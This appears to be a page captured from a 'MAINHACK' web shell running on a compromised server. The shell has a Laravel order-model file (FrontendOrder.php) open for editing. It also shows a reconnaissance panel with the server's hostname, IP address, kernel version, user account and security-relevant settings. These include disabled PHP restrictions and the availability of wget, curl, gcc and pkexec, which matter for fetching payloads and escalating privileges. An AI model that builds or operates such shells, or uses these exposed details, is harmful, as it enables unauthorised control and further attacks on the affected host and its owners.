[
MAINHACK
]
Mail Test
BC
Config Scan
HOME
Create...
New File
New Folder
Viewing / Editing File: FrontendOrder.php
<?php namespace App\Models; use App\Enums\OrderStatus; use App\Models\Scopes\BranchScope; use Illuminate\Database\Eloquent\Factories\HasFactory; use Illuminate\Database\Eloquent\Model; class FrontendOrder extends Model { use HasFactory; protected $table = "orders"; protected $fillable = [ 'order_serial_no', 'token', 'user_id', 'branch_id', 'subtotal', 'discount', 'delivery_charge', 'total', 'order_type', 'order_datetime', 'delivery_time', 'preparation_time', 'is_advance_order', 'address', 'payment_method', 'payment_status', 'status', 'dining_table_id', 'source' ]; protected $casts = [ 'id' => 'integer', 'order_serial_no' => 'string', 'token' => 'string', 'user_id' => 'integer', 'branch_id' => 'integer', 'subtotal' => 'decimal:6', 'discount' => 'decimal:6', 'delivery_charge' => 'decimal:6', 'total' => 'decimal:6', 'order_type' => 'integer', 'order_datetime' => 'datetime', 'delivery_time' => 'string', 'preparation_time' => 'integer', 'is_advance_order' => 'integer', 'payment_method' => 'integer', 'payment_status' => 'integer', 'status' => 'integer', 'dining_table_id' => 'integer', 'source' => 'string' ]; public function orderItems(): \Illuminate\Database\Eloquent\Relations\HasMany { return $this->hasMany(OrderItem::class, 'order_id', 'id'); } public function items(): \Illuminate\Database\Eloquent\Relations\BelongsToMany { return $this->belongsToMany(Item::class, 'order_items'); } public function user(): \Illuminate\Database\Eloquent\Relations\BelongsTo { return $this->belongsTo(User::class)->withTrashed(); } public function address(): \Illuminate\Database\Eloquent\Relations\HasOne { return $this->hasOne(OrderAddress::class, 'order_id', 'id'); } public function branch(): \Illuminate\Database\Eloquent\Relations\BelongsTo { return $this->belongsTo(Branch::class); } public function deliveryBoy(): \Illuminate\Database\Eloquent\Relations\BelongsTo { return $this->belongsTo(User::class, 'delivery_boy_id', 'id'); } public function coupon(): \Illuminate\Database\Eloquent\Relations\HasOne { return $this->hasOne(OrderCoupon::class, 'order_id', 'id'); } public function scopePending($query) { return $query->where('status', OrderStatus::PENDING); } public function scopePreparing($query) { return $query->where('status', OrderStatus::PREPARING); } public function scopeOutForDelivery($query) { return $query->where('status', OrderStatus::OUT_FOR_DELIVERY); } public function scopeDelivered($query) { return $query->where('status', OrderStatus::DELIVERED); } public function scopeCanceled($query) { return $query->where('status', OrderStatus::CANCELED); } public function scopeReturned($query) { return $query->where('status', OrderStatus::RETURNED); } public function scopeRejected($query) { return $query->where('status', OrderStatus::REJECTED); } public function transaction(): \Illuminate\Database\Eloquent\Relations\HasOne { return $this->hasOne(Transaction::class, 'order_id', 'id'); } public function diningTable(): \Illuminate\Database\Eloquent\Relations\BelongsTo { return $this->belongsTo(FrontendDiningTable::class); } }
Save Changes
Cancel / Back
Close ×
Server Info
Hostname: server1.winmanyltd.com
Server IP: 203.161.60.52
PHP Version: 8.3.27
Server Software: Apache
System: Linux server1.winmanyltd.com 4.18.0-553.22.1.el8_10.x86_64 #1 SMP Tue Sep 24 05:16:59 EDT 2024 x86_64
HDD Total: 117.98 GB
HDD Free: 60.08 GB
Domains on IP: N/A (Requires external lookup)
System Features
Safe Mode:
Off
disable_functions:
None
allow_url_fopen:
On
allow_url_include:
Off
magic_quotes_gpc:
Off
register_globals:
Off
open_basedir:
None
cURL:
Enabled
ZipArchive:
Enabled
MySQLi:
Enabled
PDO:
Enabled
wget:
Yes
curl (cmd):
Yes
perl:
Yes
python:
Yes (py3)
gcc:
Yes
pkexec:
Yes
git:
Yes
User Info
Username: eliosofonline
User ID (UID): 1002
Group ID (GID): 1003
Script Owner UID: 1002
Current Dir Owner: 1002